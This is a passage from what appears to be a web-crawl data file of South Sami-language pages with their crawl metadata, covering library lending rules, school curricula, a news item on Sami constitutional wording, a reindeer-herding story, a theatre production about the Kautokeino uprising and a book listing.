narhtomh gærjah mah gelkieh bååstide jïh reeknegh.\nLöönemekåarhte lea dov vierhtie-aate. Destie båata dov dïedtem lea gaajhkem maam dennie kåarhtesne löönie.\nGærjah jïh jeatjah materijalh maam löönh gelkieh bååstide vedtedh reaktoes aejkiemieresne jïh emties. Åeliej dïedte jis maanah löönieh.\nJis löönemekåarhtem gaarvenih tjoerh dallegh gærjagåetiem bieljelidh. Jis naan jeatjah dov kåarhtesne löönie dellie datne mahte maahtah böötedh. Datne orre kåarhtem åadtjoeh maaksoen åvteste.\nPIN-kodem byöroe löönemekåarhtese tjatnedh.\nDïhte kode lea goh tjeakoesbaakoe gusnie mijjen webbesæjjan galkh sïjse loggedh. Webbesijjesne maahtah daatoem dov löönemidie vaaksjodh, dængkodh jïh löönemidie orrestidh. Maahtah aaj daatabaaside ohtsedh, musihkh jïh e-gærjah veedtjedh.\nDatne kodem daarpesjh jis sïjhth daatovrem jïh tjïertetjiehtjelem dængkodh. Gærjagåetieh gusnie jïjtje maahtah löönedh desnie kodem daarpesjh jis galkh maehtedh löönedh.\nMinngemes biejjie löönemh bååstide vadtah datne löönemeleahpam vuajnah. Maahtah dov löönemh vuejnedh gosse mijjen webbesijjesne.\nLöönemetïjje jeatjahtahta destie maam löönh. Materijali mah jïjnjh sijhtieh leah åenehkåbpoe löönemetïjje. Jis dov e-påastesijjiem webbesijjesne tjeelih dellie dïjrem åadtjoeh åvteli löönemetïjje nåhka.\nDatne maahtah löönemh orrestidh gærjagåetine, telefovnine jallh gærjagåetien webbesæjrosne.\nJis löönemem orrestidh löönemetïjjen mænngan dellie datne tjoerh dan åvteste maeksedh.\nDatne maahtah löönemetïjjem vïjhte aejkien orrestidh. Materijalh mah jïjnjh sijhtieh jallh man lea åenehks löönemetïjje ih maehtieh orrestidh.\nJis sïjhth gærjam löönedh maam joe jeatja lea lööneme maahtah dam dængkodh. Datne dïjrem åadtjoeh gosse maahtah gærjam veedtjedh.\nGærjagåetie vaalta seejnesböötem gærjaj jïh jeatjah materijalh maam seejnes bååstide buektedh.\nDatne seejnesböötem maaksah gosse 18 jaepien illeme.\nBöötem maaksah gosse bååstide buaktah maam seejnes lea. Jis ih maeksieh dellie böötem dov löönemekåarhtesne.\nJis böötem stuerebe goh 50 kråvnah dellie ih maehtieh löönemekåarhtem nuhtjedh.\nMijjeh maehtebe aaj dam faktureredh. Dellie dan lissine faktureremebööte.\nJis ih materijalidie bååstide buektieh göökte mojhtelimmi mænngan dellie reeknegem seedtebe jïh ih dov löönemekåarhtem maehtieh nuhtjedh.\nReeknege maanese jïh noerese gie ij leah 18 jaepien illeme åelide seedtebe.\n2 jïh 4 våhkoej lööneme\nAkte namhtah biejjie bååstidedaatoen mænngan\ndan mænngan 2 kråvnah volyme jïh biejjie\nstööremes bööte 100 kråvnah volyme\n1 våhkoem lööneme\nAkte namhtah biejjie bååstidedaatoen mænngan\ndan mænngan 5 kråvnah volyme jïh biejjie\nstööremes bööte 100 kråvnah volyme\nstööremes bööteakti bååstideveajkoej 300 kråvnah\n• Seejnesböötem maaksah gosse 18 jaepien illeme\n• Maana- jïh noeregærji åvteste ih seejnesböötem maeksieh\n• Boken Kommer-löönemen, sopstimmiegærjah löönemen jïh löönemi Gærjabussesne åvteste ih daarpesjh seejnesböötem maeksedh.\nLaehpeme gærja dan vierhtie\nseejnesbööte vuejnieh dan bijjelen\nAdministratijve bööte 50 kråvnah volyme\nSeejnesbööte vuejnieh dan bijjelen\nAdministratijve bööte 50 kråvnah reeknege\nJis materijalem urhtsehtallah dan vierhtie\nLöönemekåarhtem laahpah geerve 20 kråvnah, maana 10 kråvnah\nKopijh jïh tjaeliehtimmieh 2 kråvnah\nGuhkedelööneme Nordenisnie 25 kråvnah\nÅlkoelaantelööneme Norden ålkoelisnie, gærjah 150 kråvnah volyme\nÅlkoelaantelööneme Norden ålkoelisnie, artihkelh 75 kråvnah artihkele\nGærhkoe-arkivalierh SVAR 20 kråvnah volyme + 25 kråvnah dængkomem","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.minabibliotek.se\/default.aspx?id=124314&ptid=0","date":"2013-06-20T10:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711441609\/warc\/CC-MAIN-20130516133721-00044-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":566,"character_repetition_ratio":0.072,"word_repetition_ratio":0.025,"special_characters_ratio":0.147,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kapihtelen bïjre\nSisvege\nUlmie learoe-soejkesjistie:\nNjaalmeldh govlesadteme\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- faageles daajroeh jïh dïejvesh nuhtjedh soptsestimmine tjaalegi jïh gïelen bïjre\nTjaaleldh govlesadteme\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- ovmessie såarhts tjaalegh jïjtse tïjjeste, tjiehpieslidteratuvrh jïh aamhteseprovsah lohkedh, jïh sisvegen, hammoen jïh åssjelen bïjre ussjedidh\nGïele, kultuvre jïh lidteratuvre\nLïerehtimmien ulmie lea learohke edtja maehtedh\n- vaeljehke tjaalegh lohkedh boelhkeste 1995 raejeste, dejtie akten kultuvrehistovrijes ektiedæmman bïejedh, jïh gïelen jïh sisvegen bïjre ussjedidh\nGuktie kapihtele öörneme\nKapihtelen göökte faage-sæjroeh. Voestegh datne åadtjoeh lïeredh mij lyrihke, dan mænngan åadtjoeh lohkedh guktie maahtah dikth analyseradidh. Lissine ovmessie dikth. Minngemes maahtah laavenjassh darjodh.\n- Lyrihke tjaalegh\n- Dikte-analyse: Aellieh maaneme\n- Dikth\n- Laavenjassh\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/172396?fag=126960","date":"2017-05-22T19:33:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607046.17\/warc\/CC-MAIN-20170522190443-20170522210443-00573.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":114,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Evtebe høyesterettsjustitiarus jih Saemiereaktautvalgen åvtehke Carsten Smith eevtjie.\n– Jis Stoerredigkie edtja daam baakoem jeatjadehtedh, dellie manne tuhtjem \"saemien åålmeh\" bøøremes sjïehteme jeahta Carsten Smith.\nDihte åehpies saemiereakta aamhtsi gujmie jih dellie sjïehteles govledh maam dihte tuhtjie daan bijre.\nNøørje edtja daam maadthlaakem heevehtidh jih dellie edtjieh gellieh paragraf dennie maadthlaakesne jeatjadehtedh jih nemhtie aaj «saemieparagrafe» paragrafe 110A.\n\" Dihte Staaten Myndighete edtja viehkiehtidh guktie dihte saemien almetjedåehkie maahta gïelem, kultuvrem, jih siebriedahkejielemen eevtiedidh.\"\n–Aalkoealmetjh, almetjedåehkie jallts åålmeh?\nEah dah Reereme paartijh sijth maam jeatjadehtedh. Barkoebielienpaartije sæjhta daam baakoeveeljemem \"Dïhte saemien almetjedåehkie\" nænnoestidh. Senterpaartije sæjhta daam baakoeveeljemem \" saemien åålmeh\" nænnoestidh.\nGåabatjahkh mah baakoe, edtjijægan nænnebe internasjonale reakta barkosne sjidtedh. Daan aamhtesen bijre edtjieh jirreden digkiedidh.\n- Lohkh aaj:\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/maadthlaakem-jeatjadehtedh-1.11714948","date":"2017-11-24T22:54:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934808972.93\/warc\/CC-MAIN-20171124214510-20171124234510-00736.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":117,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Edvard Willenfeldt, Ruvhten sïjteste, Härjedaelesne, daam soptsesem soptsestamme. Soptsese lea gærjeste Saemien lohkeme-gærja maam Knut Bergsland jïh Gustav Hasselbrink tjaaleme. Voestes aejkien gærja trygkesovvi jaepien 1957 jïh mubpien aejkien jaepien 1978.\nDaennie tjaalegisnie baakoeh mah bokstaavem mïrhke ï utnieh sïejme i-ine tjaaleme. Mijjieh naaken daejstie baakojste mïrhke ï-ine tjaaleme, vg jïh, dïhte jnv.\nGåatoehtimmie Åarjel-raedtesne\nManne galkem saarnodh guktie mijjen sïjtesne bovtsem gåatoehtibie jaepesne.\nGïjre-jaepien libie årroeminie Åarkaj jïh Våalaj baaktoe miesiehkinie - urries bovtse jïh tjorme bïjre miesehkem gåatoeminie. Gåessie jïenehke aaltojste guadteme lea jïh snuehtie sjædta, dellie sjïdtebe feeledh jïh båantan sïeterh geehtedh, guktie ij edtjh «skaada» sjïdtedh. Muvhten jaepien gåessie garre gïjre lea, guktie ibie maehtieh geehtedh sïeterh, dellie båantah maaksoeh sijhtieh, juktie bovtse lea sïeterinie orreme. Dellie sjïdtebe maeksedh guktie båantajgujmie latjkebe.\nGiesien vööste gåessie galkebe giedtine aelkiestidh, dellie juhtebe Bavlan gåajkoe jïh desnie geadtan tsaekebe jïh miesieh mïerhkesjibie. Gåessie bïjvele jïh maajke sjædta, dellie sjïdtebe juhtedh guhkiebasse jallese bovtsine. Giedtiem utnebe Våahta-vaerien dalvesen nelnie, jïh die desnie tsaekebe jïh buhtjebe jïh aaj miesieh mïerhkesjibie.Gåessie goebpere dellie sjædta, dellie bovtse jïjtje låvlese vualka jïh barrene. Rïhkedahkesne viht tjöönghkebe bæjjese Rööpsesvaaran. Desnie årroejibie bovtsine goske lopme dalva. Dellie juhtebe tjaktje-laantese.\nMuvhten tjaktjen gåessie leamoe sjædta, dellie bovtse barrene skåajji mietie jïh masta jeatjh sïjtide, Nöörjen bealan jïh Sluvven bealan. Dellie sjïdtebe raerhkedh.\nÅvtelen jåvli heantemem utnebe. Dellie båantah båetieh jïh maatadims bovtsh sijhtieh åestedh.\nMuvhtem bovtsem jïjtjh slaaterdibie jïh barre ruaksjah tjåamahtassh (tjuamastahkh) doekebe. Dellie gujht dueljiem jïh gaamesh, åejjiem, tjeapohkem, ïehterdahkh jïjtjh utnebe aajmone.\nMænngan orre-jaepiem dellie juhtebe daelvie-laantese. Jïh dellie bovtse dalvahtovveme. Gåessie gåatome lea, dellie bovtse-daejrijh (ryöjnesjæjjah) barre don daan biejjien bovtsem tjuejkieh. Gïjre-jaepien gåajkoe, gåessie tjarve sjædta, dellie sjïdtebe daejredh (ryöjnesjidh) jæjhka (jïjjen), guktie ij edtjh bovtse barranidh jïh jallese vuelkedh jïjtje. Gåessie bovtse tjarke rahtja jallese, dellie sjïdtebe varki skodtedh jïh vuelkedh viht gïjre-laantese Åarkan jïh Våalan gåajkoe vööstede (bååstide).\nBaakoeh\nSaemien\nDaaroen\nheanteme\nslakting\ntjuamastahke, tjåamastahke\nbog\ndalvahtovedh, dalvehtovvedh\nå få vinterroen over seg\ndaejredh\ngjete\ndaejrije\ngjeter\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\n- Kjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:176492","date":"2019-04-22T15:26:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00487.warc.gz","language":"sma","language_score":0.9999818802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999818801879883}","num_words":388,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guovdageaidnun luvhtie Kalvskinnen gåajkoe - NTNU Vitenskapsmuseet\nGuovdageaidnun luvhtie Kalvskinnen gåajkoe\nGuovdageaidnun luvhtie Kalvskinnen gåajkoe\nElen Aslakdaktere Skum lea ajve 18 jaepien båeries gosse Mathis Hættine pruvrie Guovdageaidnun gærhkosne.\nMuvhti jaepiej mænngan 5 maanah baersieldamme, juvleme 4 dejstie, seamma tïjjen goh Mathis vaassjegeajnoem juaka gelliej jeatjah saemiejgujmie jïh alkohovleste jiene-jienebe smualkoe.\nGiesien 1851 – jaepien aarebi dïhte stoere Guovdageaidnu-stujmie heannede, dle dïhte jïh jienebh jeatjebh Guovdageaidnun åålmegisnie læjhkan buektiehtamme sprïjhtine orrijih, dan tjeejehtihks svïenske hearra Lars Levi Laestadiusen saerniedimmien gaavhtan,\nJienebi jeatjah saemiejgujmie ektine Elen jïh Mathias akte dåehkie sjidtieh man nomme «Doh gåhtsajamme». Idtjin gaajhkesh dåehkesne maehtieh lohkedh, men Elen lea akte dejstie. Sov vïjvine ektine Aslak Hætta, dïhte åvtehkinie sjædta dåehkien bijpelelohkemisnie jïh gïrredimmine dej sveerjen-nöörjen åejvieladtji gïetedimmien vööste saemijste. Snjaltjen dan jaepien aktem aksjovnem Skjervøy-gærhkosne utnieh, jïh staate aktem reakta-aamhtesem aksjovnen mænngan tjïrrehte gusnie Elen jïh Mathis gåabpatjahkh dööpmesuvvieh faangkegåatan.\nElen idtji faangkegåatan båetieh jïh dan mietie ohtsedieh. Pollisen dåaroenïerh Elenem bïjre jarkan vaeresne dåalvoeh, men altese jaahkoeguejmieh satnem vaarjelieh jïh akte martyriume dan bïjre jïh altese minngemes jielije maanan bïjre, onne Aslak, sjïdtedeminie, Dïhte nommem åådtje Nïejte Maarja, jïh doh bijpelen viertiestimmieh altese baataræmman lea gellieh.\nTjaktjen 1852 deadtove fer stoerre sjïdti dåahkan «Doh gåhtsajamme!» mij pollisem sijjen minngesne åtneme mahte aktem jaepiem. Gålkoen 8.b. Guovdageaidnun gåajkoe vuelkieh juktie aksjovnem tjïrrehtidh – akte «minngemosth ræjhtoe». Daate akte vïrrijes draama sjïdti mij annje daan biejjien tjarke domtesh sjugniedieh. Dah tjeapohkem Elenen vïjve Aslakistie jïh Mons Sombyste tjoehpestin, jïh. jïh jeenjesh tjoerin guhkiem faangkegåetesne tjahkasjidh\nAktine dåehkine ektine jeatjah gujnigujmie Elen seedtesåvva Tråanten Pliktegåatan. Daesnie edtja bysvehtsbarkoem darjodh ihkuven aajkan.\nHospitaalehearra Frederik Storm dïedtem åtna bysvehtsfaangki sealoen åvteste. Dïhte stoerre ïedtjem åådtje dan noere Elenasse, jïh dej gaavnesjimmieh leah våarome mijjen kammerespïelese. Buertiegærjaj jïh notaati mietie Elen lea tjarke skuapmah jïh Frederikem pruskehte, men ånnetji ånnetji Frederike hijven gaskesen bïjre tjaala dej gaskemsh. Dïhte tjuara gulmh syökedh lutniestimmien bïjre Elenen åvteste, åvtelen dïhte maahta gåetide vuelkedh 13 jaepieh minngelen, goh dïhte minngemes dejstie mah lin meatan Guovdageaidnu-stujmesne.\nGaavnesjimmieh dej gaskem lin Pliktegåetien gærhkoerommesne, daan biejjien Lagmannreaktasavkesne Kalvskinnesne.\nMij sjugniehtovvi dej soptsestimmine mij darjoeji guktie sïjhti gåetide vuelkedh? Ussjedi dejtie 4 maanakroeptide Guovdageaidnun gærhkoegaertienisnie, jïh dan akten baarnan mij satnem vuertieji desnie bijjene?\nIbie gåessie gih åadtjoeh dam daejredh, men fantasijem, musihkem jïh teateren viehkievierhtieh nuhtjebe gosse mijjen kammerespïele göökte almetjh vuesehte mah sinsitnien lïhke böötigan.\nFra Kautokeino til Kalvskinnet språkversjon\nSpilleplan\nSpilleplan\nKammerspillet ble spilt 5. - 8. februar 2017. Alle forestillingene var utsolgt.\nBÏEVNESH VUASAHTALLEMEN BÏJRE\nBÏEVNESH VUASAHTALLEMEN BÏJRE\nVuasahtallemen gåhkoe : Medtie 75 minudth, aalkoe meatan.\nMusihke : Terje Bjørklund\nMusihkekonsulente : Frode Fjellheim\nTeekste jïh hammoedimmie : Marit Selfjord\nRåålline :\nElen : Anna Sundström Otervik\nFrederik : Per Vollestad\nMusihkerh : Trio Luna - Trondheim Symfoniorkester\nPlïjhtjehtahke : Annika Nordström\nBratsj : Jan Petter Hilstad\nHarpe : Ruth Potter\nTjoevkese : Sune Schjelderup\nTjoeje : Harald Soltvedt\nScenahammoedimmie jïh gaarvoeh: Toril Skipnes\nSaemien gaarvoe : Eiva Marita Sara\nSaemien faagekonsulente : Kristin Sara\nVæhtagïeletoelhkestimmie aalkoste: Kristin Sara\nProsjekten aajhtere : NTNU Vitenskapsmuseet, beagkoehtimmien seksjovne \/ Randi Wenche Haugen\nPREMIERE :\nAejlegen goeven 5. b. ts. 16.00\nVuasahtallemh:\nAejlegen goeven 5. b. ts. 19.00\nMåantan goeven 6. b. ts 18.00\nDæjstan goeven 7. b. kl. 18.00\nGaskevåhkoen goeven 8. b. ts. 18.00\nVisningssted:","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.ntnu.no\/museum\/guovdageaidnun-luvhtie-kalvskinnen-gaajkoe","date":"2019-12-13T09:54:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540553486.23\/warc\/CC-MAIN-20191213094833-20191213122833-00506.warc.gz","language":"sma","language_score":0.999663353,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996633529663086}","num_words":494,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagen åejvieboelhkh\nSiebriedahkefaage akte sïejhme faage maadthlïerehtimmesne, jïh akte ektiefaage gaajhkide ööhpehtimmieprogrammide jåarhkelïerehtimmesne. Edtja dan åvteste lïerehtimmiem dan sjyöhtehke darjodh goh gåarede learoehkidie viehkine lïerehtimmiem sjïehtedidh dejtie ovmessie ööhpehtimmieprogrammide.\nFaage lea struktuvreradamme åejviesuerkine mej sisnie maahtoeulmieh. Gaajhkh åejviesuerkieh sinsitniem lissiehtieh jïh tjuerieh ektesne vuajnalgidh. Goerehtæjja akte åejviesuerkie mij båata faagen jeatjah åejviesuerkiej bijjelen jïh sïjse, dovne maadthskuvlesne jïh jåarhkelïerehtimmesne.\nMaadthskuvlesne siebriedahkefaage feerhmie åejviesuerkide goerehtæjja, siebriedahkedaajroe, geografije jïh histovrije.\nJåarhkelïerehtimmesne faage feerhmie åejviesuerkide goerehtæjja, indivijde, siebriedahke jïh kultuvre, barkoe- jïh jieleme, politihke jïh demokratije jïh gaskenasjovnaale tsiehkieh. Geografije jïh histovrije jåerhkieh goh ektiefaage dejnie studijeryöjreden ööhpehtimmieprogrammine. Siebriedahkedaajroe meatan vaaltasuvvieh fïerhtene åejviesuerkesne.\nMaadthskuvlesne siebriedahkefaage maahtoeulmieh åtna 4., 7. jïh 10. daltesen mænngan.\nJåarhkelïerehtimmesne siebriedahkefaage maahtoeulmieh åtna mænngan Jåa1 ööhpehtimmieprogrammesne studijegoerehtæmman, programmesuerkie realfaagese jïh programmesuerkie gielese, siebriedahkefaagese jïh ekonomijese.\nÖöhpehtimmieprogrammesne studijegoerehtæmman, programmesuerkie hammoedimmiefaagese, siebriedahkefaage maahtoeulmieh åtna Jåa2 mænngan.\nBarkoefaageles ööhpehtimmieprogrammine jïh ööhpehtimmieprogrammesne idrettsfaagese jïh musihkese, daanhtsose jïh dramese, siebriedahkefaage maahtoeulmieh åtna Jåa2 mænngan.\nBijjieguvvie åejviesuerkijste\nDaltese\nÅejviesuerkieh\n1.–10.\nGoerehtæjja\nHistovrije\nGeografije\nSiebriedahkedaajroe\nJåa1\/Jåa2\nGoerehtæjja\nIndivijde, siebriedahke jïh kultuvre\nBarkoe- jïh jieleme\nPolitihke jïh demokratije\nGaskenasjovnaale tsiehkieh\nGoerehtæjja\nÅejviesuerkie faagen jeatjah åejviesuerkiej bijjelen jïh sïjse båetieh, jïh dan åvteste edtja maahtoeulmiejgujmie goerehtæjjesne barkedh mearan maahtoeulmiejgujmie jeatjah åejviesuerkijste barka. Åejviesuerkie lea guktie siebriedahkefaageles goerkesem bæjjese bigkie tjetskehkevoeten, onterdimmien jïh sjugneden darjomi tjïrrh. Skreejredh laejhtehkslaakan vuarjasjidh tseegkeme jïh orre siebriedahkefaageles daajroem gaaltijeåtnoen jïh gaaltijelaejhtemen tjïrrh lea vihkeles. Goerehtæjja aaj leerehtimmiem, digkiedimmiem jïh evtiedimmiem siebriedahkefaageles daajroste jïh maahtoste feerhmie.\nHistovrije\nÅejviesuerkesne edtja histovreles bijjieguvviem jïh goerkesem evtiedidh, jïh goerehtidh jïh digkiedidh guktie almetjh jïh siebriedahke leah jorkesamme tïjje doekoe. Histovrije aaj feerhmie guktie almetjh guvvieh sjugniedieh jïh sijjen jïjtse goerkesem åvtetje tïjjeste hammoedieh, jïh guktie daate dam daaletje tïjjem tsevtsie. Skreejredh laejhtehkslaakan jïh ussjedihks meatan årrodh siebriedahkesne lea vihkeles biehkieh åejviesuerkesne.\nGeografije\nÅejviesuerkie feerhmie iemie jïh almetjesjugniedamme tsiehkieh eatnamisnie gaavnedh, jïh edtja goerkesem skreejredh guktie jïh man åvteste daah sinsitniem tsevtsieh. Goerehtalleme jïh digkiedimmie jarkelimmieprosessijste leah jarngesne, jïh monnehke evtiedimmien bïjre ussjedidh. Geografije lea aaj maehtedh kaarhtem nuhtjedh, jïh tjïelkestidh jïh buerkiestidh hedtieh jïh joekehtsh laanten jïh staaren gaskem, nasjovni gaskem jïh regijovni gaskem.\nSiebriedahkedaajroe\nÅejviesuerkie feerhmie aamhtesidie sosijaliseradimmie, politihke, ekonomije jïh kultuvre, jïh lea ektievoeten jïh vuestiebieliej bïjre almetji gaskemsh aktene daaletjen tïjjen perspektijvesne. Ektiespïele kultuvrelle njoelkedassi jïh siebriedahkestuvremen tjïrrh dennie aktene bielesne, jïh indivijduelle dahkoeh jïh veeljemh dennie mubpene leah jarngesne åejviesuerkesne. Aarvoe mïrrestallemistie, meatan årrodh siebriedahkesne jïh evtiedimmie demokrateles tjiehpiesvoetijste leah vihkeles biehkieh siebriedahkedaajrosne.\nIndivijde, siebriedahke jïh kultuvre\nÅejviesuerkie daej aamhtesidie feerhmie, sosijaliseradimmie, persovneles ekonomije, jienebekultuvrelle siebriedahkh, religijovnen råålla kultuvresne, ektiejieledevuekieh jïh kriminaliteete. Aaj mïrrestallemen bïjre, aalkoe-almetji bïjre, etnihkeles jïh nasjovnaale unnebelåhkoej bïjre, guktie maahta ammes-asven jïh rasismen vööste barkedh, jïh gie jïh mij mah noeride daanbiejjien tsevtsieh.\nBarkoe- jïh jieleme\nÅejviesuerkie lea daej aamhtesi bïjre, jielemh, sïelth, tseegkeme, barkoeveeljeme jïh barkohtsvoete. Aaj siebriedahki bïjre barkoejieliedisnie jïh baalhkatseegkeme, jïh barkoejieleden bïjre daan biejjien jïh dej prinsihpi jïh aarvoej bïjre mah leah barkoejieleden betnesne.\nPolitihke jïh demokratije\nÅejviesuerkie dam politihkeles systeemem gaajhkine daltesinie jïh tryjjesstaatem feerhmie. Aaj dej politihkeles krirriej bïjre jïh mij maahta demokratijem håvhtadidh. Daennie åejviesuerkesne aaj leavloe bïejesåvva ektiedimmide gaskem stuvremehammoem, reaktastaatem jïh almetjereaktah.\nGaskenasjovnaale tsiehkieh\nÅejviesuerkie gaskenasjovnaale laavenjostoem, terrorismem, ovvaantoeh, ovvaantoeloetemem jïh raeffiebarkoem feerhmie. Aaj globaliseringen, vierhtiejoekedimmien jïh monnehke evtiedimmien bïjre, jïh Nöörjen råålla goh gaskenasjovnaale aktööre.\nSide 2 Av 10","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Hovedomraader?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-02-28T08:00:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147116.85\/warc\/CC-MAIN-20200228073640-20200228103640-00233.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":524,"character_repetition_ratio":0.099,"word_repetition_ratio":0.008,"special_characters_ratio":0.121,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Spesifikasjoner\nSpråk: Åarjelsaemien\nUtgiver: CállidLágádus\nISBN: 978-82-8263-021-4\nNOK 200,00\nMij dïhte neerrehtimmie jïh guktie dam orrijehtedh\nav Anne Lene Turi jih Margretehe Bals\nISBN 978-82-8263-021-4\n6 på lager\nSpråk: Åarjelsaemien\nUtgiver: CállidLágádus\nISBN: 978-82-8263-021-4\nJis mijjieh gaajhkesh åssjoem neerrehtimmien bïjre jarkoestibie dellie vïenhtebe buektiehtibie neerrehtimmiem orrijehtedh.\nGærja lea noeride. Gærja aaj galka learoehkidie jïh lohkektæjjide haestedh edtjieh ussjedalledh jïh digiedidh mij neerrehtimmie lea, jïh mannasinie mijjieh neerrehtibie. Gaajhkesh, dovne maanah, noerh jïh geervealmetjh leah neerrehtimmiem vaaseme. Neerrehtimmie lea skuvli jïh aaj siebredahki dåeriesmoere. Ulmie lea neerrehtimmien bïrje åssjoem juhtiehtehtedh. Daate lea voestes gærja dennie tjaalegeraajterisnie maam CálliidLágádus buakta.\n|Vekt||0.343 kg|","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saemiensijte.no\/produkter\/dah-mubpien-bealan-vuartasjieh\/","date":"2020-09-19T08:14:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00514.warc.gz","language":"sma","language_score":0.9997364879,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999736487865448}","num_words":95,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nFaagen åejvieboelhkh\nFaage lea öörnedamme åejviesuerkine mej sisnie maahtoeulmieh leah hammoedamme.\nÅejviesuerkieh sinsitniem lissiehtieh jïh tjuerieh ektesne vuajnalgidh.\nFaage akte ektiefaage gaajhkide ööhpehtimmieprogrammide jåarhkeööhpehtimmesne. Edtja dan åvteste lïerehtimmiem darjodh dan sjyöhtehke goh gåarede viehkine lïerehtimmiem sjïehtedidh dejtie ovmessie ööhpehtimmieprogrammide.\nEengelsken gïele maahtoeulmieh åtna 2., 4., 7. jïh 10. jaepiedaltesen mænngan maadthskuvlesne, jïh Jåa1 studijeryöjreden ööhpehtimmieprogrammen\/Jåa2 barkoefaageles ööhpehtimmieprogrammen mænngan.\nBijjieguvvie åejviesuerkijste:\nJaepiedaltese\nÅejviesuerkieh\n1–10.\nJåa 1\nJåa 2\n(barkoefaageles\nööhpehtimmieprogrammh\nGïelelïerehtimmie\nNjaalmeldh govlesadteme\nTjaaleldh govlesadteme\nKultuvre, siebriedahke jïh lidteratuvre\nGïelelïerehtimmie\nÅejviesuerkie gïelelïerehtimmie lea mij lea aktem orre gïelem lïeredh, dam eengelske gïelem lïeredh, jïh ektiedimmieh vuejnedh eengelsken, ietniengïelen jïh jeatjah gïeli gaskem. Dïhte lea aaj daajroe gïelen bïjre, jïh goerkesem utnedh sov jïjtse gïelelïerehtimmien bïjre. Maehtedh jïjtse gïeleåtnoem jïh jïjtse lïerehtimmiedaerpiesvoeth vuarjasjidh, jïh sjiehteles strategijh jïh barkoevuekieh veeljedh lea nuhteligs jis 